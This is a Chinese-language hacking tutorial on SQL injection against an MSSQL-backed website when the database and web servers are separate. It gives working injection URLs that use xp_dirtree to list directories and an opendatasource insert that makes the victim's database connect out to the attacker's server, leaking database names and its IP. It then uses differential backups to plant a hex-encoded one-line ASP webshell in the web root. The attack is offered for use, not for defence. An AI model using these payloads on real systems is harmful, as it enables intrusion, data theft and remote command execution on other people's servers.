DB_OWNER权限下网站与数据库分离获取mssql服务器IP

 
 
 DB权限.列下目录看看数据是否跟WEB在一块.要是在一块可考虑备份差异.不过很可惜.找来找去都没有找到WEB目录.
 


 这是利用MSSQL的XP_dirtree储存过程读取路径.然后写入临时表的结果.
 
 其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?
 
 可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?

可以利用opendatasource宏让对方的SQL与自己的数据库建立连接.
 
 既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下:机器必须要有公网IP.而且开放的1433端口要保证能被外网访问到
1,先在本机建个库先.打开查询分析器输入:
 create database hack520 Create TABLE zhu(name nvarchar(256) null);Create TABLE J8(id int NULL,name nvarchar(256) null); 
 

 建立了一个hack520的库名.和zhu  J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了.
 
2,先看一下这条SQL语句insert into opendatasource(’sqloledb’,’server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名’) .库名.表名 ’执行的语句’

 http://www.2cto.com /news.asp?id=126’insert%20into%20opendatasource(’sqloledb’,’server= 
 219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520’).hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases-- 
 
 在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下~

 
 现在数据库服务器IP知道了.而且数据库服务器又开了80.现在干什么呢?
 
 bak一个webshell上去.已知WEB目录C:\Inetpub\wwwroot.好.开始,这里可以使用getwebshell工具
 
 http://www.2cto.com /news.asp?id=126;use tg800;declare @a sysname,@s varchar(4000) 
 select @a=db_name(),@s=0x737339323238 backup database @a to disk=@s-- 备份当前库 
 
 http://www.2cto.com /news.asp?id=126;Drop table [hack520];create table [dbo].[hack520] ([cmd] [image])-- 
 
 http://www.2cto.com /news.asp?id=126;insert into hack520(cmd)  values(0x3C2565786563757465207265717565737428226C2229253E)-- 插入蓝屏木马 
 
 http://www.2cto.com /news.asp?id=126;declare @a sysname,@s varchar(4000) 
 select @a=db_name(),@s=0x433A5C496E65747075625C777777726F6F745C7A68752E617370 
 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 再次以差异备份得到WEBSHELL 

 以上的思路不错,希望大家遇见类似情况的时候可以拿下,但是这个还是有一定的局限性的.关键在于SQL反向连接,如果对方设有防火墙或者是TCP/IP筛选的话,就不那么乐观了.